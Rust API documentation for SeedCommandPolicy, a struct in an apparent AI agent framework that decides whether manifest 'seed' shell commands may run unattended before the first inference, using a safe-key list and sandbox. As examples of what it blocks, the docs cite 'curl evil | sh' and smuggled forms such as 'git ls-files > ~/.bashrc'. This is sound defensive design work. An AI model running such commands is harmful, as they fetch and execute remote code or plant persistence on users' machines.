Struct SeedCommandPolicy 

pub struct SeedCommandPolicy {
    pub allowed: bool,
    pub timeout: Duration,
    pub safe_keys: Arc<HashSet<String>>,
    pub runner: SeedCommandRunner,
}

How command seeds are executed for one spawn.

Fields

allowed: bool

Whether command seeds may run at all. false makes every command seed a no-op (a warning, or a hard error when the region is required).

timeout: Duration

Wall-clock cap on a single seed command.

safe_keys: Arc<HashSet<String>>

The keys this run treats as pre-approved, from crate::config::Config::safe_keys_for_agent. A seed command must be covered by these or it does not run - see SeedCommandPolicy::run.

runner: SeedCommandRunner

The executor.

Implementations

impl SeedCommandPolicy

pub fn new( allowed: bool, timeout: Duration, safe_keys: Arc<HashSet<String>>, sandbox: Option<Arc<SandboxManager>>, shell_env: ShellEnvPolicy, ) -> Self

The production policy: run through sandbox when the agent declares one, else on the host, both targeting the run’s workdir.

pub fn disabled() -> Self

A policy that never runs anything - used on the reload/restore path and wherever seeds are resolved without a live sandbox.

pub fn run(&self, command: &str, workdir: &Path) -> Result<String, String>

Run command in workdir under this policy, if this run already treats it as pre-approved.

A seed runs before the first inference and therefore before any prompt, so there is nobody to ask. allow_seed_commands defaults to true and cannot sensibly default to false - the shipped agents seed from git ls-files, and flipping it would silently empty a pinned region on all of them. So the question “may this command run unattended” is answered by the machinery that already answers it for the shell tool: the safe list. git ls-files is on it by default, so the bundled agents are unaffected; curl evil | sh is not, and a manifest the user downloaded no longer gets to run it at spawn.

This inherits the shell key grammar’s hardening for free - a seed of PATH=/tmp/x git ls-files or git ls-files > ~/.bashrc is refused by construction, because neither keys as a bare git ls-files.

Trait Implementations

impl Clone for SeedCommandPolicy

fn clone(&self) -> SeedCommandPolicy

Returns a duplicate of the value.

fn clone_from(&mut self, source: &Self)

Performs copy-assignment from source.

impl Debug for SeedCommandPolicy

fn fmt(&self, f: &mut Formatter<'_>) -> Result

Formats the value using the given formatter.